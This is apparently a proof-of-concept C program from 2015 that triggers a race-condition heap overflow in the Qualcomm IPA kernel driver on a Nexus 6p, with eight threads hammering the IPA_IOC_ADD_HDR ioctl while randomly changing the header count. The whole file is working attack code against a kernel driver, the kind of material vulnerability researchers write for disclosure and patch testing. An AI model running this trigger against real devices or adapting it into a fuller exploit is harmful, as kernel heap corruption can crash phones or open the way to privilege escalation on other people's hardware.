/*
POC of ipa race condition heap overflow vulns
Dec 30, 2015

This poc was tested on Nexus 6p with fingerprint :  google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys

This poc should run with net_admin permission
*/


#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>
#include <sched.h>
#include "msm_ipa.h"


#define THREAD_COUNT 8
int fd;
int cmd;
pthread_t thds[THREAD_COUNT];
struct ipa_ioc_add_hdr add_hdr;

void * change_count()
{
	int ret;
	pthread_t id = pthread_self();
	while(1) {
		add_hdr.num_hdrs = rand();
		ret = ioctl(fd, cmd, &add_hdr);
		if(ret<0) {
			printf("ioctl add_hdr fail %s\n",strerror(errno));
		}
		printf("[+] thread id %d, num_hdrs %d\n", id , add_hdr.num_hdrs);
	}
}


	int
main(int argc, char *argv[])
{
	char* path = "/dev/ipa";
	int ret;
	int i;
	cmd = IPA_IOC_ADD_HDR;

	// run use net_admin 
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}

	memset(&add_hdr, 0, sizeof(add_hdr));

	for(i=0; i < THREAD_COUNT; i++) {
		ret = pthread_create(&thds[i], NULL, change_count, NULL);
		//		set_affinity(thds[i]);
		printf("i, thread %d begin\n",i, thds[i]);
	}

	for(i=0 ; i < THREAD_COUNT; i++) {
		pthread_join(thds[i], NULL);
	}

	close(fd);
	return 0;
}
